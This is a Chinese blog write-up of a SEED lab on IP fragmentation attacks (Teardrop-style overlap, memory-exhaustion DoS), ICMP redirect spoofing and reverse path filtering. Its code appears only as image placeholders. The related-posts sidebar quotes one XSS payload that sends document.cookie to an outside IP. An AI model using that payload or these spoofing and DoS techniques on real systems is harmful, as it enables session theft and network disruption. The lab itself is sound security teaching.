SeedLab4: IP/ICMP Attacks Lab

最新推荐文章于 2023-08-23 12:48:45 发布
最新推荐文章于 2023-08-23 12:48:45 发布
阅读量2.6k 收藏 11
点赞数 2
文章标签： SeedLab ICMP 重定向攻击 反向路径过滤
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/Rachel_IS/article/details/109038384
版权

这个Lab的步骤写得非常清晰了，点赞～

  • IP分片机制 & 攻击
  • ICMP重定向攻击
  • 反向路径过滤 & 保护
Task 1
Task 1A

没啥花样，先抄代码发三个IP分片
在这里插入图片描述

后两个改偏移即可
在这里插入图片描述
最后一个flag要设置为0
在这里插入图片描述

目的主机抓包，可以看到收到一个数据包的全部分片后，就会拼接成完整的UDP数据包啦
在这里插入图片描述

Task 1B

以前课上教过的，IP分片攻击（Teardrop
不过现在系统都优化了，已经比较少了

1

先要求前两个分片部分重叠，这里K=8
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
具体原理就是当 IP 分片的偏移量发生重叠时，系统会计算重叠的字节数 K，并将第 2 个 分片的指针向后移动 K 字节，再将其剩余内容拼接到第 1 个分片之后，即忽略 了第 2 个分片的重叠部分
贴代码：
在这里插入图片描述
抓包也发现B重叠的部分直接被忽略：
在这里插入图片描述

2

然后就直接第二个分片包含在第一个分片里
（这就是Teardrop的原理
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

一样的，第二个分片直接被吞掉
在这里插入图片描述

关于先发1后发2 & 先发2后发1，我试下来妹有什么区别…
因为 IP 协议 中即使 IP 分片乱序到达，也会在缓存中保留而不会丢弃，故拼接后能得到同样 的结果

Task 1C

emm就整个超大包
在这里插入图片描述
注意ip.len和udp.len要随便瞎整一个数，不然长度超过就报错

抓包康康，因为有MTU限制，一共分成了45个片
在这里插入图片描述

Task 1D

一看就是老DoS攻击了
在这里插入图片描述
第二个偏移直接开大点，目的主机接收到第 2 个分片后，会为其分配 64k 的内存缓冲区、启动计时器 并等待其他分片;后续分片到达时，数据被复制到缓冲区中进行拼接。如果在计 时器有效时间内收到大量这类数据包，将很快耗尽主机的内存空间，形成 DoS 攻击
在这里插入图片描述

（然而，现在系统优化了，应该是不会成功的…

Task 2

先乖乖一步步配环境
构造ICMP重定向数据包时，ip的src是网关（伪装成默认网关），dst是victim主机
icml.gw是攻击主机
ip2的src是victim主机，dst是B主机

在这里插入图片描述

抓包康康 大写的Redirect
在这里插入图片描述
检验一下，确实用攻击主机路由了
在这里插入图片描述

Q1

用远程主机（非子网内主机）试试
在这里插入图片描述
当然不行啦，发现不对劲还是变回了默认网关
在这里插入图片描述

Q2

再用子网内不存在的主机试试
在这里插入图片描述

一样的，不对劲还是用默认网关
在这里插入图片描述

Task 3

乖乖跟着配环境～

Task 3B

A里加一条B的路由信息
在这里插入图片描述
B里加一条A的路由信息
在这里插入图片描述

A ping/telnet B能通，没毛病
在这里插入图片描述

B也行
在这里插入图片描述

Task 3B

然后就是反向路径过滤辽

1

spoof同一子网的原地址
在这里插入图片描述
没问题的，主机 A 到主机 B 的路由在 Task 3B 中被设置为 192.168.60.1，而主机 A 的默 认网关也为 192.168.60.1，发向外网地址 10.0.2.6 的数据包将由同一个地址路由， 数据包不会被丢弃

B抓到啦
在这里插入图片描述

R也能抓到（俩网卡都能，一进一出）
在这里插入图片描述
在这里插入图片描述

2

spoof同一子网的原地址
在这里插入图片描述
这就不能够了，主机 A 到主机 B 的路由在 Task 3B 中被设置为 192.168.60.1，而 192.168.60.3 与主机 B 在同一子网，其发送的数据包不会被发送到默认网关，由反向路径过 滤检测出接收和发送数据包的接口不同，数据包会被丢弃

所以B抓不到，R只有进没有转发
在这里插入图片描述

3

spoof外网的原地址
在这里插入图片描述
也没毛病，主机 A 到主机 B 的路由在 Task 3B 中被设置为 192.168.60.1，而主机 A 的默 认网关也为 192.168.60.1，发向外网地址 1.2.3.4 的数据包将由同一个地址路由， 数据包不会被丢弃

B抓得到在这里插入图片描述

R也是俩都能（一进一出）
在这里插入图片描述
在这里插入图片描述

没有大佬可以感谢，就感谢SeedLab教程叭，真的清晰
❀.(´▽`)❀

参考了一个资料：
https://www.cnblogs.com/rookieDanny/p/13224619.html

不写bug的Rachel
关注
  • 2
    点赞
  • 踩
  • 11
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
tcpip实验指导书
05-26
这是一份TCPIP的实验指导书
【SEED Labs 2.0】ICMP Redirect Attack Lab
Chenyang的博客
08-27 6370
本文为 SEED Labs 2.0 - ICMP Redirect Attack Lab 的实验记录。本实验较为简单。
ICMP Redirect Attack Lab（SEED实验）
l4kjih3gfe2dcba1的博客
08-27 2636
本篇实验比较简单，所以并无重点总结。需要注意的是，这种改写与之前的ARP实验相同，缓存内容会被定时刷新，因此应当写有自动化程序代以实施。但是本次实验中由于作者也提出了的容器原因，当且仅当受害者执行ping时才能进行转向，因此本实验验证的攻击方式真正的可行性与适用性还应在真实环境下重新验证。再加上本实验的漏洞已经被各大系统所弥补（参见Task 1首部中sysctl的设置），所以这种攻击的可行性并不高。
优化网络传输效率的秘密武器——ICMP Redirect揭秘！
最新发布
m0_72410588的博客
08-23 378
ICMP Redirect是一种由路由器生成并发送给主机的控制消息。其作用是告知主机发送数据包时选择更优路径，以提高网络性能和优化数据传输。当路由器接收到一个数据包，发现有更短的路径可以到达目标地址时，它会发送ICMP Redirect消息给发送方主机，告知其修改路由表，选择更优的下一跳路由路径。
『网络协议攻防实验』ICMP重定向攻击和防御
Ho1aAs‘s Blog
07-26 3839
前言 靶机：seedubuntu 12.01，IP：192.168.199.136 攻击机：Kali-2020.4，IP：192.168.199.129 工具：netwox 原理 ICMP路由重定向攻击（ICMP Redirect Attack）是指攻击者伪装成路由器发送虚假的ICMP路由路径控制报文，使得受害主机选择攻击者指定的路由路径，从而进行嗅探或假冒攻击的一种技术。 ICMP重定向攻击 确认靶机seedubuntu的路由表 route -C -n 可以看到都正确指向了网关192.168.199
VASE: Filtering IP spoofing traffic with agility
02-20
However, despite intermittent IP spoofing attacks, existing filtering mechanisms inspect each packet all the time, consuming considerable resource on routers even there is no spoofing at all....
pytorch-wav2letter-attacks
03-06
基于IPC的Wav2Letter +攻击IJCAI_2020论文代码（已接受） 生成具有时间依赖性的强大音频对抗示例[]安装如果尚未安装，请安装PyTorch。 我们目前正在使用cuda9和python3.7在pytorch 1.1.0上实现我们的实验。...
adversarial-attacks-pytorch:PyTorch对抗攻击的实现
05-12
PGD ( model , eps = 8 / 255 , alpha = 2 / 255 , steps = 4 ) adversarial_images = atk ( images , labels ) :warning: 预防措施 在用于攻击之前，应使用transform [to.Tensor（）]将所有图像缩放为
《RELAXLOSS: DEFENDING MEMBERSHIP INFERENCE ATTACKS ...》
03-08
【深度学习与成员推理攻击】 深度学习（Deep Learning, DL）是近年来人工智能领域的重大突破，其在图像识别、自然语言处理、医疗诊断等众多领域取得了显著成果。然而，随着DL模型在敏感领域的广泛应用，如医疗和...
Securityplus.Guide.to.Network.Security.Fundamentals.
10-23
Internet web servers must resist thousands of attacks every day, and an unprotected computer connected to the Internet can be infected in fewer than 60 seconds
计算机安全_Lab 3_Attacks on TCP/IP Protocols
Yue的小部落格
05-13 3373
目录 1 实验描述 2 实验准备 3 实验内容 3.1 task 1 ：ARP cache poisoning 3.2 task 2 ：ICMP Redirect Attack. 3.3 task 3 ：SYN Flooding Attack. 3.4 task 4 ：TCP RST Attacks on telnet and ssh Connections 3.5 task 5 ...
TCP/IP协议漏洞实验
Zhangmii的博客
06-03 1万+
实验题目：Attack Lab: Attacks on TCP/IP Protocols 实验学时：6 日期：2016.5.2   实验目的：   体会TCP/IP协议的漏洞，并针对这些漏洞做出相应攻击，感受网络安全方面所面临的挑战，理解为何网络安全措施是必要的。   一、实验背景   1.1 网络设置   为了完成本次实验，至少需要三台机器，一台用来攻击，一台作为被攻击者，第三台...
ICMP redirect
热门推荐
shichaog的专栏
11-14 1万+
这要从一个问题说起 公司有一台设备，在联网并从同一个cdn节点上获取数据，发现用着用着从cdn节点上获取数据就失败了，但是这时设备在ping百度以及上其它网还是正常的，在当时这还是很令人费解的。在分析app,设备网络特性以及公司网络架构后发现了这一问题的原因是icmp redirect导致的问题。 ICMP重定向消息是路由器发现主机针对某个目的ip有一个更好的路由策略，其使用ICMP re
Meltdown Attack(4) - Seed Lab
^_^
04-24 879
Task 4 从用户空间访问内核内存 现在我们知道了secret data的地址了，让我们做个实验来看看能否直接访问到这个地址的数据。查看这个地址的代码如下。 AccessKernel.c #include<stdio.h> int main() { char *kernel_data_addr = (char*)0xf9c6c000; //f9c6c000是从task3获得的...
seedlab:ICMP
gungir_的博客
09-15 564
seedlab中的ICMP Redirect Attack Lab
ICMP 攻击（ICMP Attacks）
fantaxy025025的专栏
09-09 4722
  　　ICMP 被 IP 层用于向一台主机发送单向的告知性消息。在 ICMP 中没有验证机制，这就导致了使用 ICMP 可以造成服务拒绝的攻击，或者可以支持攻击者截取数据包。下面列出了几种与 ICMP 协议相关的攻击类型： 　　ICMP DOS 攻击：攻击者使用 ICMP “时间超出”或“目标地址无法连接”的消息。这两种 ICMP 消息都会导致一台主机迅速放弃连接。攻击只需伪造这些 ICM...
【SEED Labs 2.0】ARP Cache Poisoning Attack Lab
Chenyang的博客
08-27 6693
本文为 SEED Labs 2.0 - ARP Cache Poisoning Attack Lab 的实验记录。本实验内容较为简单，需要注意的是每一个任务中源 mac、源 ip、目的 mac、目的 ip 以及 op 不要搞错了。
信息安全 SEED Lab11 ARP Cache Poisoning Attack Lab
crazyliu的博客
07-15 2958
这部分主要是理解ARP协议和实施一些对ARP的攻击。 本地共有三台虚拟机，位于同一个子网下。地址如下： Name Mac Address IP Address A 08:00:27:7e:82:57 10.0.2.4 B 08:00:27:34:bf:1e 10.0.2.5 C 08:00:27:62:26:68 10.0.2.6 Task 1. ARP缓存投毒攻击 这部分主要是通过不同的方式实施ARP缓存投毒攻击。 Task 1A 这部分是通过ARP请求广播来实施ARP缓存投毒
document.write('<img src="http://192.168.112.202:3333/xss?val='+document.cookie+'"')
03-28
As an AI language model, I cannot perform malicious actions or generate harmful code.... It is important to always sanitize user input and properly encode data to prevent XSS attacks.

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值